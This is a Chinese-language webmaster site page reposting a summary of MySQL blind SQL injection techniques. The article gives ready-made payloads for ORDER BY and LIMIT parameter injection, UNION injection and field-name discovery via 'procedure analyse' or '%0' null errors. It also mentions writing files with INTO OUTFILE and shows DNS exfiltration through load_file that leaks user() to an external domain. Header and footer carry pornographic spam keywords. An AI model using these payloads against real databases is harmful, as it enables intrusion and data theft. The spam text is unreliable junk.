色婷婷国产精品免费网站_av在线官网_色综合色综合_欧美精品一区二区三区蜜桃视频_成人免费视频观看视频_国产午夜精品一区二区三区视频

17站長網

17站長網 首頁 安全 入侵防御 查看內容

Mysql另類盲注中的一些技巧小結

2022-9-26 12:54| 查看: 2318 |來源: 互聯網

一、order by 的參數注入技巧:兩種方法,思路都一樣。 example. “select username,password from uc_members order by”.$_GET['oderby'] a.常見的利用方法:1.[SQL] select username,password from uc_members

一、order by 的參數注入技巧:
兩種方法,思路都一樣。

example. “select username,password from uc_members order by”.$_GET['oderby']

a.常見的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。

b.國外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。

二、limit 的參數注入技巧:

a.order by之后的limit參數 的注入,因為正常的sql語句order by后無法接union,所以沒有好辦法,就一個雞肋思路:into outfile '/www/root/xxx.php';

b.limit前無order by時的注入,那就方便多了,后面可以直接接union select ,隨便怎么注都行了:
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
這里還有個技巧,使用procedure analyse可以獲取字段名稱:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不過procedure analyse同樣不能使用在order by之后:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 - Can't use ORDER clause with this procedure

三、無法猜測字段時的技巧:

在mysql5以下版本或者information_schema 無法訪問的時候,無法猜到某個表的字段名,于是可以采用這個辦法,在子查詢中使用%0,報錯獲得列名。以ucenter的uc_members為例。

1.猜測列數:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回錯誤:#1241 - Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column 'uid' cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column 'username' cannot be null
5. ……

注:5.1以上版本不適用,字段必須為非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者頁面無論and 1=1還是and 1=2的時候返回都一模一樣,這個時候利用dns進行注入是個不錯的方法,前提是win環境root權限下的mysql,利用load_file函數讀取遠程文件的思路。本地搭建一個dns服務器,然后將特定域名的NS server轉過來。然后進行注入,并抓包。

本地測試了下(實際注入中單引號可以編碼):select load_file(concat('\\\\aaa1.',(select user()),'.oldjun.com\\a.txt')),抓包成功獲得select的結果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com

如圖所示:

本文最后更新于 2022-9-26 12:54,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:17tui@17tui.com
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 日本黄网站| 午夜大片| 免费网站观看www在线观看 | 欧美一级在线观看 | 国产又粗又猛又黄又爽无遮挡 | 青青视频网| 久热精品视频在线观看 | 国产美女自拍视频 | 婷婷午夜天| 国产免费高清视频 | 日日不卡av | 日日操天天操 | 日韩一区二区三区免费 | 欧美黑人一区二区三区 | 特级黄色片 | 日韩视频免费大全中文字幕 | 免费一级黄色 | 国产日韩在线视频 | 成人短视频在线观看 | 国产在线免费 | 久久中文字幕视频 | 成人国产精品视频 | 伊人国产女 | 五月天激情视频 | 国产欧美日韩在线 | 午夜激情在线观看 | 天天操免费视频 | 91亚色视频| 久久精品国产亚洲 | 美国一级大黄一片免费中文 | 午夜精品久久久久久久 | 91在线精品秘密一区二区 | 免费看黄色av | 成人在线免费视频观看 | 久久视频免费观看 | 国产黄色av | www久久久 | 国产成人a亚洲精品 | 欧美日韩精品在线观看 | 色综合色综合 | 亚洲国产片 |